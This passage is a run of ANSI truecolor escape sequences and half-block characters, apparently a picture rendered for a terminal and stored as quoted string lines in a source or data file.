2;241;224;220m[48;2;254;239;235m▀[38;2;238;221;219m[48;2;255;240;240m▀[38;2;237;225;221m[48;2;247;229;232m▀[38;2;240;227;224m[48;2;242;226;226m▀[38;2;239;227;223m[48;2;238;223;220m▀[48;2;239;225;218m▀[38;2;240;228;224m[48;2;238;226;219m▀[38;2;239;227;223m[48;2;238;227;225m▀[38;2;239;227;224m[48;2;234;224;221m▀[38;2;237;225;219m[48;2;247;236;239m▀[38;2;251;241;232m[48;2;206;197;206m▀[38;2;119;107;108m[48;2;73;67;77m▀[38;2;105;98;111m[48;2;126;127;139m▀[38;2;93;102;117m[48;2;91;99;111m▀[38;2;164;175;190m[48;2;171;183;196m▀[38;2;137;147;159m[48;2;130;143;160m▀[38;2;138;148;160m[48;2;135;144;162m▀[38;2;139;149;166m[48;2;141;152;171m▀[38;2;142;144;164m[48;2;129;131;154m▀[38;2;87;84;105m[48;2;73;70;92m▀[38;2;80;76;98m[48;2;77;73;96m▀[38;2;129;126;148m[48;2;143;141;158m▀[38;2;119;116;137m[48;2;115;113;128m▀[38;2;118;116;132m[48;2;127;125;136m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;143;149;153m[48;2;148;152;157m▀[38;2;215;225;237m[48;2;192;202;212m▀[38;2;217;230;248m[48;2;230;243;255m▀[38;2;137;143;165m[48;2;127;132;153m▀[38;2;150;150;173m[48;2;147;148;168m▀[38;2;148;142;165m[48;2;149;143;163m▀[38;2;135;131;151m[48;2;209;206;221m▀[38;2;124;125;140m[48;2;154;155;169m▀[38;2;213;219;229m[48;2;198;206;215m▀[38;2;194;201;208m[48;2;184;190;196m▀[0m [0m [0m[38;2;197;195;196m▀[38;2;71;64;66m[48;2;209;209;208m▀[38;2;219;205;209m[48;2;111;107;108m▀[38;2;254;240;242m[48;2;199;191;191m▀[0m[38;2;237;224;221m▀[38;2;239;227;225m[48;2;237;224;221m▀[38;2;234;223;220m[48;2;236;221;220m▀[38;2;236;228;220m[48;2;239;228;224m▀[38;2;237;227;220m[48;2;237;227;223m▀[38;2;239;227;223m[48;2;241;226;223m▀[38;2;238;227;220m[48;2;241;224;220m▀[38;2;242;228;225m[48;2;243;228;225m▀[38;2;234;218;214m[48;2;231;212;209m▀[38;2;181;161;160m[48;2;164;128;131m▀[38;2;181;157;157m[48;2;169;116;125m▀[38;2;127;99;99m[48;2;177;118;128m▀[38;2;122;100;103m[48;2;124;85;93m▀[38;2;229;218;218m[48;2;94;85;85m▀[38;2;253;240;241m[48;2;187;176;175m▀[38;2;239;225;223m[48;2;253;241;238m▀[38;2;236;220;217m[48;2;250;234;230m▀[38;2;240;224;220m[48;2;236;219;216m▀[38;2;236;221;220m[48;2;254;239;238m▀[38;2;243;231;230m[48;2;245;231;230m▀[38;2;253;240;243m[48;2;106;97;98m▀[38;2;98;89;103m[48;2;77;71;80m▀[38;2;116;115;128m[48;2;137;133;146m▀[38;2;117;120;132m[48;2;92;96;106m▀[38;2;93;103;114m[48;2;104;113;124m▀[38;2;172;184;197m[48;2;169;181;195m▀[38;2;128;141;158m[48;2;126;140;154m▀[38;2;132;144;162m[48;2;135;144;163m▀[38;2;143;152;173m[48;2;143;152;172m▀[38;2;122;125;147m[48;2;115;117;138m▀[38;2;57;54;75m[48;2;51;48;67m▀[38;2;71;67;87m[48;2;95;92;110m▀[38;2;152;149;164m[48;2;152;150;165m▀[38;2;108;106;120m[48;2;106;105;118m▀[38;2;155;154;163m[48;2;197;196;203m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;160;162;165m[48;2;212;214;215m▀[38;2;149;158;166m[48;2;143;149;158m▀[38;2;241;251;255m[48;2;237;248;255m▀[38;2;108;115;132m[48;2;148;154;166m▀[38;2;139;140;157m[48;2;120;124;136m▀[38;2;133;129;147m[48;2;193;190;203m▀[0m[38;2;215;213;225m▀[38;2;162;164;174m[48;2;215;217;221m▀[38;2;179;186;194m[48;2;172;181;187m▀[38;2;194;199;204m[48;2;198;204;208m▀[0m [0m [0m [0m [0m[38;2;237;237;237m▀[0m[38;2;115;114;110m▀[38;2;174;164;162m[48;2;162;159;157m▀[38;2;255;240;239m[48;2;158;144;142m▀[38;2;243;226;226m[48;2;245;230;228m▀[38;2;236;223;218m[48;2;254;240;237m▀[38;2;241;226;223m[48;2;243;224;221m▀[38;2;243;226;223m[48;2;241;221;219m▀[48;2;238;224;219m▀[38;2;241;226;223m[48;2;236;223;218m▀[38;2;245;230;227m[48;2;240;230;226m▀[38;2;254;235;232m[48;2;232;224;217m▀[38;2;249;224;224m[48;2;239;229;225m▀[38;2;249;224;223m[48;2;238;226;220m▀[38;2;255;241;242m[48;2;240;226;223m▀[38;2;188;175;175m[48;2;255;242;242m▀[38;2;82;67;66m[48;2;236;220;219m▀[38;2;129;111;111m[48;2;138;122;122m▀[38;2;227;209;209m[48;2;111;96;97m▀[0m[38;2;158;147;146m▄[38;2;213;203;201m[48;2;111;107;103m▀[38;2;91;87;82m[48;2;203;203;199m▀[0m[38;2;144;142;141m▀[0m[38;2;224;220;226m▀[38;2;124;122;131m[48;2;199;201;205m▀[38;2;109;113;122m[48;2;187;192;197m▀[38;2;131;141;150m[48;2;161;171;180m▀[38;2;162;175;185m[48;2;149;163;171m▀[38;2;127;141;153m[48;2;132;144;155m▀[38;2;133;147;162m[48;2;138;148;161m▀[38;2;146;153;172m[48;2;142;150;166m▀[38;2;100;103;122m[48;2;78;81;99m▀[38;2;105;102;119m[48;2;152;150;166m▀[38;2;158;157;172m[48;2;181;179;193m▀[38;2;130;128;142m[48;2;115;113;125m▀[38;2;107;106;117m[48;2;143;142;152m▀[38;2;223;221;225m[48;2;231;230;235m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;168;172;176m[48;2;224;227;229m▀[38;2;197;207;217m[48;2;158;165;175m▀[38;2;177;185;193m[48;2;180;188;192m▀[38;2;207;208;215m[48;2;235;236;237m▀[0m [0m [38;2;228;230;234m[48;2;240;242;245m▀[38;2;184;192;195m[48;2;186;195;198m▀[38;2;192;197;201m[48;2;175;182;185m▀[0m[38;2;239;239;240m▄[0m [0m [0m [0m [0m [0m [38;2;136;125;122m[48;2;161;150;149m▀[38;2;121;103;103m[48;2;143;118;120m▀[38;2;192;172;171m[48;2;132;100;102m▀[38;2;250;234;229m[48;2;115;93;91m▀[38;2;255;245;240m[48;2;179;163;160m▀[38;2;238;225;221m[48;2;252;237;234m▀[0m[38;2;235;218;215m▀[38;2;241;221;219m[48;2;250;234;228m▀[38;2;237;223;219m[48;2;239;225;221m▀[38;2;238;226;221m[48;2;237;225;220m▀[38;2;241;226;223m[48;2;239;224;220m▀[38;2;237;219;217m[48;2;255;238;235m▀[38;2;230;217;214m[48;2;255;247;242m▀[0m[38;2;175;164;162m▄[38;2;246;234;234m[48;2;117;107;106m▀[38;2;116;104;106m[48;2;229;226;226m▀[0m[38;2;70;61;61m▀[38;2;131;126;122m[48;2;136;131;128m▀[0m[38;2;127;120;116m▄[0m[38;2;248;242;237m▄[0m [0m [38;2;227;232;235m[48;2;221;227;228m▀[38;2;176;186;192m[48;2;169;180;183m▀[38;2;140;153;160m[48;2;138;152;158m▀[38;2;133;146;157m[48;2;132;146;154m▀[38;2;137;147;159m[48;2;141;151;163m▀[38;2;129;137;151m[48;2;126;130;144m▀[38;2;73;74;91m[48;2;75;76;88m▀[38;2;162;159;173m[48;2;190;188;201m▀[38;2;153;151;164m[48;2;140;138;151m▀[38;2;122;121;132m[48;2;135;133;142m▀[0m[38;2;224;223;228m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;185;192;197m▀[38;2;146;154;158m[48;2;154;158;160m▀[38;2;227;230;231m[48;2;196;197;197m▀[0m [0m [0m [38;2;187;198;197m[48;2;196;203;204m▀[38;2;155;162;163m[48;2;152;154;158m▀[38;2;231;232;234m[48;2;219;219;221m▀[0m [0m [0m [0m [0m [0m [38;2;153;141;140m[48;2;169;159;158m▀[38;2;148;117;120m[48;2;104;67;71m▀[38;2;205;164;169m[48;2;204;151;161m▀[38;2;171;136;139m[48;2;191;143;151m▀[38;2;127;94;96m[48;2;194;150;155m▀[38;2;133;107;108m[48;2;173;138;141m▀[38;2;166;152;149m[48;2;130;100;102m▀[38;2;206;197;192m[48;2;113;91;89m▀[38;2;246;235;230m[48;2;120;105;102m▀[38;2;255;246;242m[48;2;130;114;110m▀[38;2;255;243;239m[48;2;124;102;99m▀[38;2;203;187;183m[48;2;103;73;75m▀[38;2;124;104;100m[48;2;158;121;130m▀[38;2;70;55;54m[48;2;154;129;133m▀[38;2;157;149;148m[48;2;171;161;163m▀[0m [0m [0m [0m[38;2;228;225;220m▀[0m[38;2;246;242;236m▀[0m [0m [38;2;223;229;230m[48;2;212;224;227m▀[38;2;159;170;172m[48;2;148;161;168m▀[38;2;137;151;157m[48;2;137;152;160m▀[38;2;131;144;152m[48;2;137;148;159m▀[38;2;144;152;164m[48;2;143;151;163m▀[38;2;114;120;133m[48;2;105;111;125m▀[38;2;67;70;84m[48;2;82;84;94m▀[0m[38;2;225;223;234m▀[38;2;143;141;152m[48;2;135;135;138m▀[38;2;168;166;173m[48;2;204;203;206m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;243;243;242m▀[38;2;190;190;190m[48;2;197;197;197m▀[0m[38;2;209;209;209m▄[0m [0m [38;2;205;206;209m[48;2;216;217;219m▀[38;2;163;164;170m[48;2;159;160;165m▀[38;2;215;216;218m[48;2;204;205;207m▀[0m [0m [0m [0m [0m [0m [38;2;169;161;158m[48;2;132;126;126m▀[38;2;23;0;0m[48;2;4;0;0m▀[38;2;136;80;91m[48;2;51;11;22m▀[38;2;193;138;148m[48;2;86;32;42m▀[38;2;201;148;157m[48;2;128;61;75m▀[38;2;197;150;158m[48;2;173;103;118m▀[38;2;194;151;157m[48;2;196;140;150m▀[38;2;192;151;157m[48;2;188;146;152m▀[38;2;174;139;142m[48;2;182;141;146m▀[38;2;150;114;117m[48;2;199;154;161m▀[38;2;172;133;136m[48;2;192;140;149m▀[38;2;203;161;170m[48;2;173;122;135m▀[38;2;223;176;193m[48;2;121;77;92m▀[38;2;119;87;97m[48;2;44;16;24m▀[38;2;195;184;190m[48;2;227;223;224m▀[0m [0m [0m [0m [0m [0m [0m [38;2;185;195;201m[48;2;184;191;196m▀[38;2;141;157;166m[48;2;149;162;171m▀[38;2;142;158;170m[48;2;139;157;164m▀[38;2;151;163;176m[48;2;157;176;184m▀[38;2;142;153;164m[48;2;132;147;154m▀[38;2;128;133;146m[48;2;169;176;184m▀[38;2;116;118;124m[48;2;158;160;166m▀[0m [38;2;141;141;141m[48;2;181;181;181m▀[0m[38;2;240;240;240m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;163;163;163m▀[0m [0m [0m[38;2;237;238;241m▀[38;2;150;151;155m[48;2;148;149;153m▀[38;2;206;207;210m[48;2;216;217;219m▀[0m [0m [0m [0m [0m [0m[38;2;176;173;179m▄[38;2;82;75;80m[48;2;6;0;6m▀[38;2;11;0;5m[48;2;29;18;30m▀[38;2;35;16;26m[48;2;28;19;27m▀[38;2;30;1;5m[48;2;27;26;19m▀[38;2;46;5;10m[48;2;27;18;11m▀[38;2;67;6;18m[48;2;39;2;7m▀[38;2;103;41;52m[48;2;56;5;12m▀[38;2;172;125;132m[48;2;162;109;119m▀[38;2;183;143;148m[48;2;191;143;151m▀[38;2;194;151;158m[48;2;192;147;154m▀[38;2;144;86;96m[48;2;147;83;96m▀[38;2;54;0;10m[48;2;54;2;15m▀[38;2;32;0;9m[48;2;21;2;10m▀[38;2;37;16;23m[48;2;41;32;34m▀[38;2;237;234;235m[48;2;242;242;242m▀[0m [0m [0m [0m [0m [0m [0m[38;2;225;229;230m▄[38;2;175;184;187m[48;2;126;138;138m▀[38;2;153;168;171m[48;2;153;171;170m▀[38;2;138;158;160m[48;2;146;161;160m▀[38;2;153;173;176m[48;2;154;165;166m▀[38;2;115;130;132m[48;2;106;110;114m▀[38;2;209;217;219m[48;2;204;207;209m▀[0m [0m [0m[38;2;229;229;229m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;173;174;177m[48;2;231;231;234m▀[38;2;198;199;202m[48;2;186;187;191m▀[0m [0m [0m[38;2;174;173;177m▄[38;2;238;240;241m[48;2;24;23;31m▀[38;2;81;83;87m[48;2;0;0;0m▀[38;2;1;0;5m[48;2;22;16;26m▀[38;2;13;6;16m[48;2;29;20;32m▀[38;2;29;18;31m[48;2;22;16;27m▀[38;2;28;19;29m[48;2;22;13;24m▀[38;2;27;21;16m[48;2;49;17;20m▀[38;2;30;12;9m[48;2;67;13;22m▀[38;2;49;4;10m[48;2;80;10;24m▀[38;2;65;10;20m[48;2;150;84;98m▀[38;2;155;108;116m[48;2;197;144;153m▀[38;2;188;146;152m[48;2;179;130;138m▀[38;2;195;151;157m[48;2;192;142;151m▀[38;2;132;71;82m[48;2;172;119;128m▀[38;2;42;0;6m[48;2;54;10;20m▀[38;2;20;8;12m[48;2;37;11;20m▀[38;2;28;26;27m[48;2;8;0;1m▀[38;2;237;241;240m[48;2;184;182;183m▀[0m [0m [0m [0m [0m [0m [38;2;213;221;220m[48;2;181;191;190m▀[38;2;111;127;122m[48;2;119;133;127m▀[38;2;159;175;168m[48;2;166;177;166m▀[38;2;151;160;155m[48;2;162;160;155m▀[38;2;163;163;162m[48;2;172;161;160m▀[38;2;100;95;96m[48;2;109;97;96m▀[38;2;210;209;209m[48;2;238;236;234m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;239;239;239m▄[0m[38;2;229;230;230m▄[0m[38;2;229;227;230m▄[0m[38;2;180;177;181m▄[0m[38;2;119;118;122m▄[38;2;221;223;225m[48;2;75;74;80m▀[38;2;162;162;166m[48;2;33;33;38m▀[38;2;194;194;199m[48;2;6;4;12m▀[38;2;71;69;81m[48;2;13;5;22m▀[38;2;0;0;8m[48;2;56;46;64m▀[38;2;10;4;17m[48;2;49;42;57m▀[38;2;29;23;34m[48;2;23;20;34m▀[38;2;23;17;28m[48;2;18;15;28m▀[38;2;23;17;26m[48;2;22;16;28m▀[38;2;21;18;23m▀[38;2;22;9;19m[48;2;28;11;24m▀[38;2;84;13;32m[48;2;65;6;16m▀[38;2;92;7;27m[48;2;81;7;18m▀[38;2;133;64;78m[48;2;80;22;33m▀[38;2;196;139;149m[48;2;149;97;106m▀[38;2;184;136;143m[48;2;193;136;151m▀[38;2;182;138;144m[48;2;176;129;140m▀[38;2;186;140;146m[48;2;180;132;141m▀[38;2;170;119;128m[48;2;98;43;53m▀[38;2;99;46;60m[48;2;100;33;50m▀[38;2;45;0;13m[48;2;87;18;38m▀[38;2;27;0;9m[48;2;52;10;26m▀[38;2;19;10;13m[48;2;9;0;4m▀[38;2;136;135;133m[48;2;0;0;0m▀[0m[38;2;37;39;41m▄[0m[38;2;202;203;204m▄[0m [0m [0m[38;2;239;242;243m▄[38;2;142;151;150m[48;2;125;128;125m▀[38;2;131;137;132m[48;2;155;154;147m▀[38;2;179;177;172m[48;2;190;182;174m▀[38;2;179;170;164m[48;2;192;181;171m▀[38;2;170;155;152m[48;2;160;149;140m▀[38;2;118;108;103m[48;2;127;120;113m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;214;213;210m▄[0m[38;2;162;160;158m▄[38;2;229;230;230m[48;2;157;153;152m▀[38;2;171;169;170m[48;2;151;147;144m▀[38;2;120;116;120m[48;2;181;170;172m▀[38;2;98;93;97m[48;2;217;203;206m▀[38;2;113;107;111m[48;2;223;205;210m▀[38;2;133;121;130m[48;2;202;175;186m▀[38;2;125;108;119m[48;2;214;184;194m▀[38;2;99;83;94m[48;2;223;192;204m▀[38;2;59;46;56m[48;2;161;135;148m▀[38;2;34;30;38m[48;2;65;48;57m▀[38;2;35;31;39m[48;2;38;24;33m▀[38;2;37;28;39m[48;2;39;30;40m▀[38;2;42;35;50m[48;2;22;13;29m▀[38;2;48;42;60m[48;2;33;26;44m▀[38;2;59;53;76m[48;2;46;41;64m▀[38;2;53;48;71m[48;2;63;57;82m▀[38;2;33;24;49m[48;2;66;62;86m▀[38;2;19;9;37m[48;2;59;50;76m▀[38;2;19;8;29m[48;2;42;31;53m▀[38;2;41;8;2m[48;2;33;10;9m▀[38;2;67;6;6m[48;2;57;0;4m▀[38;2;163;109;119m[48;2;138;84;93m▀[38;2;184;139;154m[48;2;183;142;152m▀[38;2;181;122;147m[48;2;175;126;140m▀[38;2;182;130;151m[48;2;182;133;147m▀[38;2;182;135;148m[48;2;182;129;142m▀[38;2;185;135;144m[48;2;183;129;142m▀[38;2;195;138;142m[48;2;182;132;138m▀[38;2;116;45;55m[48;2;99;33;41m▀[38;2;49;0;17m[48;2;40;0;15m▀[38;2;26;17;33m[48;2;54;56;70m▀[38;2;50;45;66m[48;2;56;53;75m▀[38;2;0;0;11m[48;2;38;31;51m▀[38;2;0;0;0m[48;2;22;17;27m▀[38;2;118;114;118m[48;2;0;0;0m▀[0m[38;2;34;30;28m▄[38;2;213;210;205m[48;2;126;122;115m▀[38;2;125;120;110m[48;2;144;139;128m▀[38;2;175;169;152m[48;2;180;170;157m▀[38;2;188;181;162m[48;2;190;179;163m▀[38;2;203;195;179m[48;2;215;206;191m▀[38;2;143;138;126m[48;2;141;135;122m▀[38;2;148;146;140m[48;2;177;175;170m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;197;197;195m▄[0m[38;2;161;159;155m▄[38;2;198;197;197m[48;2;176;175;170m▀[38;2;155;151;150m[48;2;234;228;226m▀[0m[38;2;168;164;163m▀[38;2;221;215;216m[48;2;247;236;235m▀[0m[38;2;236;223;223m▄[0m[38;2;236;220;220m▄[38;2;255;240;240m[48;2;242;221;219m▀[38;2;254;234;236m[48;2;241;221;218m▀[38;2;252;228;232m[48;2;240;225;221m▀[38;2;230;204;208m[48;2;240;224;220m▀[38;2;210;181;187m[48;2;238;219;218m▀[38;2;220;185;194m[48;2;239;215;217m▀[38;2;205;172;181m[48;2;206;176;181m▀[38;2;201;168;176m[48;2;196;159;165m▀[38;2;150;128;137m[48;2;255;234;241m▀[38;2;54;43;54m[48;2;126;114;125m▀[38;2;50;40;55m[48;2;56;46;60m▀[38;2;26;18;35m[48;2;57;51;67m▀[38;2;29;24;45m[48;2;48;43;63m▀[38;2;35;31;55m[48;2;41;37;59m▀[38;2;56;51;75m[48;2;46;43;66m▀[38;2;71;62;87m[48;2;61;54;76m▀[38;2;73;66;87m[48;2;69;64;85m▀[38;2;62;51;56m[48;2;74;65;81m▀[38;2;74;6;26m[48;2;97;37;63m▀[38;2;147;77;94m[48;2;155;63;91m▀[38;2;205;168;170m[48;2;246;186;195m▀[38;2;168;120;124m[48;2;236;212;203m▀[38;2;180;126;133m[48;2;187;149;144m▀[38;2;183;129;141m[48;2;169;121;126m▀[38;2;170;119;135m[48;2;168;135;141m▀[38;2;176;128;135m[48;2;223;191;193m▀[38;2;98;34;44m[48;2;154;88;99m▀[38;2;66;24;42m[48;2;81;31;50m▀[38;2;70;76;88m[48;2;65;64;82m▀[38;2;59;54;76m[48;2;66;62;84m▀[38;2;32;20;39m[48;2;37;27;45m▀[38;2;30;16;27m[48;2;35;19;31m▀[38;2;35;28;31m[48;2;15;2;6m▀[38;2;15;8;5m[48;2;86;75;75m▀[38;2;140;136;127m[48;2;173;166;157m▀[38;2;153;144;135m[48;2;153;143;133m▀[38;2;188;179;168m[48;2;191;180;170m▀[38;2;188;177;165m[48;2;195;181;172m▀[38;2;208;197;186m[48;2;186;172;166m▀[38;2;146;137;128m[48;2;131;121;118m▀[38;2;205;203;199m[48;2;236;234;230m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;234;234;232m▄[0m[38;2;168;162;158m▄[38;2;208;205;204m[48;2;184;179;175m▀[38;2;170;168;163m[48;2;246;239;235m▀[0m[38;2;193;191;184m▀[38;2;242;238;234m[48;2;245;236;230m▀[0m[38;2;236;225;220m▄[38;2;243;235;231m[48;2;237;225;220m▀[38;2;235;223;221m[48;2;240;227;224m▀[38;2;238;224;221m[48;2;241;226;223m▀[38;2;241;226;225m[48;2;242;226;223m▀[38;2;243;226;225m▀[38;2;242;228;220m[48;2;237;227;218m▀[38;2;236;224;215m[48;2;236;226;215m▀[38;2;235;224;217m[48;2;242;230;220m▀[38;2;235;226;217m[48;2;246;234;226m▀[38;2;239;228;221m[48;2;245;230;224m▀[38;2;246;228;225m[48;2;245;230;225m▀[38;2;227;203;203m[48;2;246;226;224m▀[38;2;193;159;161m[48;2;212;187;185m▀[38;2;216;188;195m[48;2;205;182;186m▀[38;2;204;188;199m[48;2;236;217;229m▀[38;2;48;35;49m[48;2;82;69;82m▀[38;2;43;34;51m[48;2;16;6;23m▀[38;2;56;52;71m[48;2;32;27;44m▀[38;2;56;53;74m[48;2;40;37;56m▀[38;2;50;46;67m[48;2;37;35;55m▀[38;2;56;54;75m[48;2;37;35;53m▀[38;2;72;67;86m[48;2;49;45;64m▀[38;2;72;63;84m[48;2;65;54;77m▀[38;2;71;55;72m[48;2;64;71;83m▀[38;2;105;34;60m[48;2;64;50;62m▀[38;2;169;69;88m[48;2;119;42;64m▀[38;2;218;164;166m[48;2;159;43;69m▀[38;2;255;241;230m[48;2;191;114;120m▀[38;2;230;205;196m[48;2;255;240;225m▀[38;2;230;225;213m[48;2;247;228;210m▀[38;2;255;235;232m[48;2;181;107;115m▀[38;2;154;72;89m[48;2;146;55;80m▀[38;2;87;38;60m[48;2;84;51;69m▀[38;2;67;62;82m[48;2;70;69;86m▀[38;2;67;65;86m[48;2;69;69;88m▀[38;2;41;38;54m[48;2;44;42;57m▀[38;2;30;17;28m[48;2;13;1;8m▀[38;2;20;7;9m[48;2;54;42;42m▀[38;2;147;132;131m[48;2;180;166;162m▀[38;2;154;146;133m[48;2;159;150;137m▀[38;2;174;164;153m[48;2;181;170;158m▀[38;2;184;171;162m[48;2;174;160;153m▀[38;2;190;173;169m[48;2;176;155;160m▀[38;2;157;140;140m[48;2;146;127;131m▀[38;2;153;140;140m[48;2;125;109;113m▀[0m[38;2;168;160;159m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;223;221;220m▄[0m[38;2;163;162;160m▄[38;2;196;192;190m[48;2;204;199;197m▀[0m[38;2;168;163;160m▀[38;2;228;223;218m[48;2;243;237;234m▀[0m[38;2;234;225;223m▄[38;2;241;230;228m[48;2;239;227;225m▀[38;2;235;223;218m[48;2;243;227;221m▀[38;2;237;224;220m[48;2;240;223;217m▀[38;2;240;226;223m[48;2;241;226;219m▀[38;2;241;226;223m[48;2;242;226;221m▀[48;2;241;227;221m▀[48;2;241;227;219m▀▀[38;2;241;226;220m[48;2;241;225;218m▀[38;2;237;226;218m[48;2;241;231;225m▀[38;2;243;231;225m[48;2;215;202;195m▀[38;2;230;214;208m[48;2;208;194;187m▀[38;2;230;214;207m[48;2;210;197;192m▀[38;2;227;210;207m[48;2;205;195;190m▀[38;2;229;215;212m[48;2;199;188;184m▀[38;2;245;228;225m[48;2;180;165;163m▀[38;2;242;224;221m[48;2;190;171;171m▀[38;2;219;199;203m[48;2;177;157;160m▀[0m[38;2;201;181;193m▄[38;2;154;140;152m[48;2;154;139;152m▀[38;2;51;40;56m[48;2;52;40;57m▀[38;2;65;60;76m[48;2;63;56;74m▀[38;2;59;55;74m[48;2;81;77;97m▀[38;2;42;42;61m[48;2;92;92;109m▀[38;2;33;37;52m[48;2;83;85;102m▀[38;2;24;26;42m[48;2;66;67;82m▀[38;2;30;21;40m[48;2;51;49;64m▀[38;2;50;41;59m[48;2;27;24;39m▀[38;2;51;59;67m[48;2;33;29;46m▀[38;2;64;53;63m[48;2;41;45;56m▀[38;2;150;59;86m[48;2;70;31;45m▀[38;2;176;48;75m[48;2;182;59;88m▀[38;2;158;72;76m[48;2;194;40;63m▀[38;2;159;67;62m[48;2;205;51;59m▀[38;2;169;48;62m[48;2;182;51;63m▀[38;2;105;32;52m[48;2;57;15;27m▀[38;2;64;55;65m[48;2;43;51;55m▀[38;2;56;52;71m[48;2;45;32;55m▀[38;2;40;32;55m[48;2;33;17;44m▀[38;2;28;22;39m[48;2;27;17;34m▀[38;2;9;0;5m[48;2;24;11;20m▀[38;2;111;100;98m[48;2;154;147;143m▀[38;2;181;174;165m[48;2;168;170;158m▀[38;2;164;155;138m[48;2;177;172;152m▀[38;2;173;161;148m[48;2;166;152;140m▀[38;2;171;153;150m[48;2;166;148;146m▀[38;2;172;151;154m[48;2;179;155;163m▀[38;2;125;105;111m[48;2;109;87;98m▀[38;2;133;117;124m[48;2;110;94;102m▀[38;2;127;116;117m[48;2;186;176;179m▀[38;2;138;133;129m[48;2;164;159;153m▀[38;2;240;240;238m[48;2;165;164;158m▀[0m[38;2;210;210;209m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
